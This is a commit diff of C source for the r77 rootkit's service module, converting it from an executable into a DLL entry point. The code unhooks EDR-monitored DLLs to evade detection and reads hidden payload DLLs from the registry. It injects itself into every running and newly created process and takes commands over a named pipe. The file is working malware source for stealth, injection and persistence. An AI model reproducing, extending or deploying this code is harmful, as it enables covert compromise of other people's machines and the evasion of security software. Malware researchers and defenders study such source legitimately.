4
4
#include "r77win.h"
5
5
#include "r77config.h"
6
6
#include "r77process.h"
7
+ #include "r77header.h"
7
8
#include "ProcessListener.h"
8
9
#include "ControlPipeListener.h"
9
10
#include <Psapi.h>
10
11
11
- int main ()
12
+ BOOL WINAPI DllMain (_In_ HINSTANCE module , _In_ DWORD reason , _In_ LPVOID reserved )
13
+ {
14
+ if (reason == DLL_PROCESS_ATTACH )
15
+ {
16
+ if (!InitializeService ())
17
+ {
18
+ // If the r77 service could not initialize, it is either already attached, or failed to initialize, detach the DLL.
19
+ return FALSE;
20
+ }
21
+ }
22
+ else if (reason == DLL_PROCESS_DETACH )
23
+ {
24
+ UninitializeService ();
25
+ }
26
+
27
+ return TRUE;
28
+ }
29
+
30
+ BOOL InitializeService ()
12
31
{
13
32
// Unhook DLL's that are monitored by EDR.
14
33
Unhook ();
15
34
35
+ // If the service is already running (e.g. Install.exe was run twice), gracefully terminate it, and continue initialization.
36
+ LPVOID existingServiceDetachAddress ;
37
+ if (GetR77Header (& existingServiceDetachAddress ) == R77_SERVICE_SIGNATURE )
38
+ {
39
+ // The DetachService() function pointer to the already running r77 service is called.
40
+ // After this function returns, the previous r77 service is completely unloaded.
41
+
42
+ ((VOID (* )())existingServiceDetachAddress )();
43
+ }
44
+
45
+ // Write the r77 header.
46
+ if (!WriteR77Header (R77_SERVICE_SIGNATURE , DetachService )) return FALSE;
47
+
16
48
EnabledDebugPrivilege ();
17
49
18
50
// Get both r77 DLL's.
19
51
HKEY key ;
20
52
if (RegOpenKeyExW (HKEY_LOCAL_MACHINE , L"SOFTWARE" , 0 , KEY_QUERY_VALUE , & key ) != ERROR_SUCCESS ||
21
53
RegQueryValueExW (key , HIDE_PREFIX L"dll32" , NULL , NULL , NULL , & Dll32Size ) != ERROR_SUCCESS ||
22
- RegQueryValueExW (key , HIDE_PREFIX L"dll64" , NULL , NULL , NULL , & Dll64Size ) != ERROR_SUCCESS ) return 0 ;
54
+ RegQueryValueExW (key , HIDE_PREFIX L"dll64" , NULL , NULL , NULL , & Dll64Size ) != ERROR_SUCCESS ) return FALSE ;
23
55
24
56
Dll32 = NEW_ARRAY (BYTE , Dll32Size );
25
57
Dll64 = NEW_ARRAY (BYTE , Dll64Size );
26
58
27
59
if (RegQueryValueExW (key , HIDE_PREFIX L"dll32" , NULL , NULL , Dll32 , & Dll32Size ) != ERROR_SUCCESS ||
28
- RegQueryValueExW (key , HIDE_PREFIX L"dll64" , NULL , NULL , Dll64 , & Dll64Size ) != ERROR_SUCCESS ) return 0 ;
60
+ RegQueryValueExW (key , HIDE_PREFIX L"dll64" , NULL , NULL , Dll64 , & Dll64Size ) != ERROR_SUCCESS ) return FALSE ;
29
61
30
62
RegCloseKey (key );
31
63
32
- // Terminate the already running r77 service process.
33
- TerminateR77Service (GetCurrentProcessId ());
34
-
35
64
// Create HKEY_LOCAL_MACHINE\SOFTWARE\$77config and set DACL to allow full access by any user.
36
- HKEY configKey ;
37
- if (InstallR77Config (& configKey ))
38
- {
39
- // Write current process ID to the list of hidden PID's.
40
- // Since this process is created using process hollowing (dllhost.exe), the name cannot begin with "$77".
41
- // Therefore, process hiding by PID must be used.
42
- HKEY pidKey ;
43
- if (RegCreateKeyExW (configKey , L"pid" , 0 , NULL , REG_OPTION_NON_VOLATILE , KEY_ALL_ACCESS , NULL , & pidKey , NULL ) == ERROR_SUCCESS )
44
- {
45
- // The registry values "svc32" and "svc64" are reserved for the r77 service.
46
- DWORD processId = GetCurrentProcessId ();
47
- RegSetValueExW (pidKey , COALESCE_BITNESS (L"svc32" , L"svc64" ), 0 , REG_DWORD , (LPBYTE )& processId , sizeof (DWORD ));
48
- RegCloseKey (pidKey );
49
- }
50
-
51
- RegCloseKey (configKey );
52
- }
65
+ InstallR77Config ();
53
66
54
67
// When the NtResumeThread hook is called, the r77 service is notified through a named pipe connection.
55
68
// This will trigger the following callback and the child process is injected.
56
69
// After it's injected, NtResumeThread is executed in the parent process.
57
70
// This way, r77 is injected before the first instruction is run in the child process.
58
- ChildProcessListener (ChildProcessCallback );
71
+ ChildProcessListenerThread = ChildProcessListener (ChildProcessCallback );
59
72
60
73
// In addition, check for new processes every 100 ms that might have been missed by child process hooking.
61
74
// This is particularly the case for child processes of protected processes (such as services.exe), because protected processes cannot be injected.
62
75
// In the first iteration, the callback is invoked for every currently running process, making this the initial injection into all processes.
63
- NewProcessListener (100 , NewProcessCallback );
76
+ NewProcessListenerThread = NewProcessListener (NewProcessCallback );
64
77
65
78
// Open a named pipe to receive commands from any process.
66
- ControlPipeListener (ControlCallback );
79
+ ControlPipeListenerThread = ControlPipeListener (ControlCallback );
67
80
68
81
// There are no implications when injecting a process twice.
69
82
// If the R77_SIGNATURE is already present in the target process, the newly injected DLL will just unload itself.
@@ -78,9 +91,40 @@ int main()
78
91
79
92
DeleteR77Config (config );
80
93
81
- Sleep (INFINITE );
82
- return 0 ;
94
+ return TRUE;
95
+ }
96
+ VOID UninitializeService ()
97
+ {
98
+ if (ChildProcessListenerThread )
99
+ {
100
+ TerminateThread (ChildProcessListenerThread , 0 );
101
+ ChildProcessListenerThread = NULL ;
102
+ }
103
+
104
+ if (NewProcessListenerThread )
105
+ {
106
+ TerminateThread (NewProcessListenerThread , 0 );
107
+ NewProcessListenerThread = NULL ;
108
+ }
109
+
110
+ RemoveR77Header ();
111
+
112
+ if (ControlPipeListenerThread )
113
+ {
114
+ // Terminating the control pipe thread must be the last action!
115
+ // If this funcion was called from ControlCallback, the current thread will terminate,
116
+ // thus, this function will cease to execute.
117
+
118
+ TerminateThread (ControlPipeListenerThread , 0 );
119
+ ControlPipeListenerThread = NULL ;
120
+ }
83
121
}
122
+ static VOID DetachService ()
123
+ {
124
+ // A thread was created with a pointer to DetachService(), thus requesting the r77 service to remove itself gracefully.
125
+ UninitializeService ();
126
+ }
127
+
84
128
VOID ChildProcessCallback (DWORD processId )
85
129
{
86
130
// Hook the newly created child processes before it is actually started.
@@ -110,7 +154,7 @@ VOID ControlCallback(DWORD controlCode, HANDLE pipe)
110
154
{
111
155
case CONTROL_R77_TERMINATE_SERVICE :
112
156
{
113
- ExitProcess ( 0 );
157
+ UninitializeService ( );
114
158
break ;
115
159
}
116
160
case CONTROL_R77_UNINSTALL :
@@ -127,7 +171,7 @@ VOID ControlCallback(DWORD controlCode, HANDLE pipe)
127
171
DeleteScheduledTask (R77_SERVICE_NAME64 );
128
172
DetachAllInjectedProcesses ();
129
173
UninstallR77Config ();
130
- TerminateR77Service ( -1 );
174
+ UninitializeService ( );
131
175
break ;
132
176
}
133
177
case CONTROL_R77_PAUSE_INJECTION :
0 commit comments